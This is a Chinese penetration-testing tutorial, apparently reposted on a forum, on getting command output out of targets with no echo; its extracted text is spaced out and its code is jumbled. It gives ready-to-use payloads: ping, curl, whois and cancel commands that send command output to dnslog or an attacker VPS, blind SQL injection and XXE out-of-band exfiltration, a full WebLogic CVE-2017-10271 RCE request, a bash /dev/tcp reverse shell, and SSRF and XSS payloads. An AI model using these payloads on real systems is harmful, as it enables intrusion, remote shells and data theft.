搜索

[21989] 2021-05-20_干货如何在无回显时渗透

文档创建者：s7ckTeam
浏览次数：5
最后更新：2025-01-18
2021-05-20_干货如何在无回显时渗透 干 货 | 如 何 在 无 回 显 时 渗 透 安 全 祖 师 爷   L e m o n S e c   2 0 2 1 - 0 5 - 2 0 前 言 前 言 在 渗 透 测 试 的 很 多 时 候 ， 我 们 可 能 都 得 不 到 数 据 的 回 显 。 由 于 得 不 到 数 据 的 回 显 ， 我 们 就 无 法 进 一 步 判 断 我 们 渗 透 测 试 的 结 果 。 所 以 本 文 告 诉 大 家 ， 在 没 有 回 显 的 时 候 ， 我 们 又 该 如 何 测 试 。 1 . 利 用 利 用 p i n g 有 很 多 免 费 的 d n s l o g 使 用 ， 例 如 B u r p S u i t e 自 带 的 模 块 — — B u r p   C o l l a b o r a t o r   c l i e n t ， 当 然 社 区 版 没 有 这 个 功 能 ， 专 业 版 的 B u r p S u i t e 才 具 有 。                                                                                 B u r p   C o l l a b o r a t o r   c l i e n t 还 有 免 费 的 c e y e . i o 、 吐 司 等 ， 这 里 不 做 过 多 的 介 绍 ， 以 B u r p   C o l l a b o r a t o r   c l i e n t 为 例 。 假 如 我 们 需 要 执 行 一 个 u n a m e ， 我 们 先 点 击 C o p y   t o   c l i p b o a r d ， 接 着 组 装 我 们 的 语 句 即 可 ， 最 后 执 行 它 p i n g   ` 命 令 ` . d n s l o g
C o p y   t o   c l i p b o a r d 待 它 执 行 几 秒 钟 ， 我 们 的 B u r p   C o l l a b o r a t o r   c l i e n t 就 会 有 回 应 p i n g 执 行
回 应 我 们 直 接 在 本 机 执 行 u n a m e 验 证 一 下 u n a m e 2 . 利 用 利 用 c u r l W i n 1 0 和 W i n S e r v e r 2 0 1 6 （ 或 更 高 版 本 ） 均 已 默 认 自 带 c u r l c u r l   d n s l o g / ` 命 令 | b a s e 6 4 | t r   ' n '   ' - ' ` c u r l   d n s l o g / ` 命 令 | t r   ' n '   ' - ' `
执 行 你 会 得 到 一 个 h t t p 的 请 求 ， 在 请 求 中 就 是 命 令 执 行 的 结 果 c u r l 结 果 在 某 些 极 端 情 况 下 ， 你 可 能 需 要 使 用 b a s e 6 4 编 码 一 下 ， 因 为 可 能 某 些 命 令 返 回 的 结 果 为 中 文
b a s e 6 4 结 果 去 掉 / 、 - 以 后 ， 对 结 果 进 行 还 原 就 为 命 令 执 行 以 后 的 结 果 原 始 结 果 前 面 说 的 这 些 都 是 基 于 能 解 析 h o s t 的 时 候 执 行 的 ， 然 而 在 很 多 实 际 情 况 中 ， 被 渗 透 的 机 器 根 本 不 会 配 置 d n s 。 在 不 配 置 d n s 的 情 况 下 ， d n s l o g 就 会 失 效 ， 命 令 将 返 回 u k n o w n   h o s t ， 由 于 无 法 解 析 h o s t ， 找 不 到 d n s l o g 的 i p ， 我 们 也 无 法 从 d n s l o g 平 台 获 得 命 令 执 行 的 结 果 。 请 接 着 看 下 文 。
3 . 利 用 利 用 w h o i s 谈 到 w h o i s ， 很 多 人 的 第 一 反 应 应 该 是 查 域 名 从 属 吧 。 其 实 不 然 ， w h o i s 还 可 以 用 来 回 显 命 令 执 行 的 结 果 。 这 里 我 们 需 要 自 行 准 备 一 台 v p s ， 其 实 就 是 有 公 网 i p 的 机 器 ， 在 机 器 上 监 听 一 个 端 口 。 例 如 我 在 我 的 v p s 上 监 听 6 6 6 6 ， 且 在 目 标 机 器 执 行 一 个 u n a m e 监 听 6 6 6 6 那 么 我 们 就 在 目 标 机 器 上 执 行 如 下 命 令 ( m y i p 为 我 的 v p s i p ) 目 标 机 w h o i s   - h   v p s ‘ i p   - p   p o r t   ` 命 令 ` w h o i s   - h   v p s ‘ i p   - p   p o r t   ` 命 令   | b a s e 6 4 ` n c   - l   - p   6 6 6 6   - v v v w h o i s   - h   m y i p   - p   6 6 6 6   ` u n a m e ` w h o i s   - h   m y i p   - p   6 6 6 6   ` u n a m e   | b a s e 6 4 `
v p s 如 图 就 返 回 了 我 们 的 命 令 执 行 结 果 4 . 利 用 利 用 c a n c e l 其 实 除 了 w h o i s 以 外 ， 还 有 c a n c e l 可 以 利 用 我 们 同 样 需 要 一 台 v p s ， 在 上 面 监 听 任 意 端 口 目 标 机 攻 击 机 去 除 方 框 中 的 " m y - j o b s " ， 即 为 命 令 回 显 结 果 后 记 后 记 那 么 这 些 东 西 可 以 配 合 哪 些 场 景 使 用 了 ？ 1 . S Q L 注 入 注 入 当 我 们 的 S Q L 注 入 为 盲 注 时 ， 它 可 是 不 会 返 回 结 果 的 。 众 所 周 知 ， m y s q l 中 l o a d _ f i l e 是 可 以 执 行 d n s 请 求 的 ， 注 意 d n s l o g 前 面 有 个 " . " ， 千 万 不 要 忘 记 了 。 2 . X X E 我 们 只 需 要 把 d t d 文 件 换 成 下 面 的 内 容 即 可 c a n c e l   - u   " $ ( 命 令 ) "   - h   v p s ' i p : p o r t s e l e c t   l o a d _ f i l e ( c o n c a t ( ' ' , ( S Q L 语 句 ) , ' . d n s l o g 随 便 输 入 字 母 ' ) ) # p a y l o a d 1 < ? x m l   v e r s i o n = " 1 . 0 "   e n c o d i n g = " U T F - 8 " ? > < ! D O C T Y P E   r o o t   [ < ! E N T I T Y   %   r e m o t e   S Y S T E M   " h t t p : / / d n s l o g / 随 便 输 入 字 母 " > % r e m o t e ; ] >
3 . R C E 前 面 的 部 分 基 本 上 都 在 展 示 执 行 命 令 ， 这 里 我 们 结 合 一 下 W e b l o g i c   X M L   D e c o d e r 反 序 列 化 ( C V E - 2 0 1 7 - 1 0 2 7 1 ) % r e m o t e ; ] > < r o o t / > # p a y l o a d 2 < ! E N T I T Y   %   a l l " < ! E N T I T Y   & # x 2 5 ;   s e n d   S Y S T E M   ' h t t p : / / d n s l o g / % f i l e ; ' > " > % a l l ; P O S T   / w l s - w s a t / C o o r d i n a t o r P o r t T y p e   H T T P / 1 . 1 H o s t : x . x . x . x : x C a c h e - C o n t r o l :   m a x - a g e = 0 U p g r a d e - I n s e c u r e - R e q u e s t s :   1 U s e r - A g e n t :   M o z i l l a / 5 . 0   ( M a c i n t o s h ;   I n t e l   M a c   O S   X   1 0 _ 1 4 _ 3 )   A p p l e W e b K i t / 5 3 7 . 3 6   ( K H T M L ,   l i k e   G e c k o )   C h r o m e / 7 2 . 0 . 3 6 2 6 . 1 1 9   S a f a r i / 5 3 7 . 3 6 A c c e p t :   t e x t / h t m l , a p p l i c a t i o n / x h t m l + x m l , a p p l i c a t i o n / x m l ; q = 0 . 9 , i m a g e / w e b p , i m a g e / a p n g , * / * ; q = 0 . 8 A c c e p t - E n c o d i n g :   g z i p ,   d e f l a t e A c c e p t - L a n g u a g e :   z h - C N , z h ; q = 0 . 9 C o n n e c t i o n :   c l o s e C o n t e n t - L e n g t h :   6 4 0 < s o a p e n v : E n v e l o p e   x m l n s : s o a p e n v = " h t t p : / / s c h e m a s . x m l s o a p . o r g / s o a p / e n v e l o p e / " >   < s o a p e n v : H e a d e r > < w o r k : W o r k C o n t e x t   x m l n s : w o r k = " h t t p : / / b e a . c o m / 2 0 0 4 / 0 6 / s o a p / w o r k a r e a / " > < j a v a   v e r s i o n = " 1 . 4 . 0 "   c l a s s = " j a v a . b e a n s . X M L D e c o d e r " > < v o i d   c l a s s = " j a v a . l a n g . P r o c e s s B u i l d e r " > < a r r a y   c l a s s = " j a v a . l a n g . S t r i n g "   l e n g t h = " 3 " > < v o i d   i n d e x = " 0 " > < s t r i n g > / b i n / b a s h < / s t r i n g > < / v o i d > < v o i d   i n d e x = " 1 " > < s t r i n g > - c < / s t r i n g > < / v o i d > < v o i d   i n d e x = " 2 " > < s t r i n g > 命 令 < / s t r i n g >
我 们 只 需 要 替 换 一 下 上 文 中 命 令 的 部 分 为 如 下 的 任 意 一 种 ( 请 注 意 h t m l 实 体 编 码 ， p a y l o a d 默 认 为 L i n u x ， w i n 需 要 修 改 / b i n / b a s h 为 c m d 或 者 c m d . e x e , - c 为 / c ) h t m l 实 体 编 码 所 有 的 命 令 都 需 要 注 意 转 换 h t m l 实 体 编 码 例 如 原 本 的 反 弹 命 令 为 转 换 后 为 < s t r i n g > 命 令 < / s t r i n g > < / v o i d > < / a r r a y > < v o i d   m e t h o d = " s t a r t " / > < / v o i d > < / j a v a > < / w o r k : W o r k C o n t e x t > < / s o a p e n v : H e a d e r > < s o a p e n v : B o d y / > < / s o a p e n v : E n v e l o p e > p i n g   ` 命 令 ` . d n s l o g c u r l   d n s l o g / ` 命 令 | b a s e 6 4 | t r   ' n '   ' - ' ` c u r l   d n s l o g / ` 命 令 | t r   ' n '   ' - ' ` w h o i s   - h   v p s ‘ i p   - p   p o r t   ` 命 令 ` w h o i s   - h   v p s ‘ i p   - p   p o r t   ` 命 令   | b a s e 6 4 ` c a n c e l   - u   " $ ( 命 令 ) "   - h   v p s ' i p : p o r t # 直 接 反 弹 s h e l l b a s h   - i   > &   / d e v / t c p / 1 2 7 . 0 . 0 . 1 / 8 0 8 0   0 > & 1 b a s h   - i   > &   / d e v / t c p / 1 2 7 . 0 . 0 . 1 / 8 0 8 0   0 > & 1 b a s h   - i   & g t ; & a m p ;   / d e v / t c p / 1 2 7 . 0 . 0 . 1 / 8 0 8 0   0 & g t ; & a m p ; 1
可 以 去 这 里 转 换 ： h t t p s : / / w w w . q q x i u z i . c n / b i a n m a / z i f u s h i t i . p h p 4 . S S R F 我 们 可 以 在 需 要 的 参 数 后 面 直 接 修 改 为 v p s ' i p 或 者 d n s l o g 地 址 如 果 你 使 用 v p s ， 那 么 你 依 然 需 要 在 v p s 上 先 执 行 监 听 端 口 如 果 你 使 用 d n s l o g ， 那 么 直 接 修 改 为 d n s l o g 地 址 例 如 某 参 数 为 v i d e o _ u r l ， 修 改 为 如 下 5 . X S S 使 用 如 下 P a y l o a d 一 如 既 往 的 学 习 ， 一 如 既 往 的 整 理 ， 一 如 即 往 的 分 享 。 感 谢 支 持 “ 如 侵 权 请 私 聊 公 众 号 删 文 ” 扫 描 关 注 扫 描 关 注 L e m o n S e c 觉 得 不 错 点 个 觉 得 不 错 点 个 “ 赞 赞 ” 、 、 “ 在 看 在 看 ” 哦 哦 b a s h   - i   & g t ; & a m p ;   / d e v / t c p / 1 2 7 . 0 . 0 . 1 / 8 0 8 0   0 & g t ; & a m p ; 1 v i d e o _ u r l = h t t p : / / v p s ' i p : p o r t v i d e o _ u r l = d n s l o g < I M G   S R C = #   o n e r r o r = h t t p : / / d n s l o g / 随 便 输 入 字 母 >
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理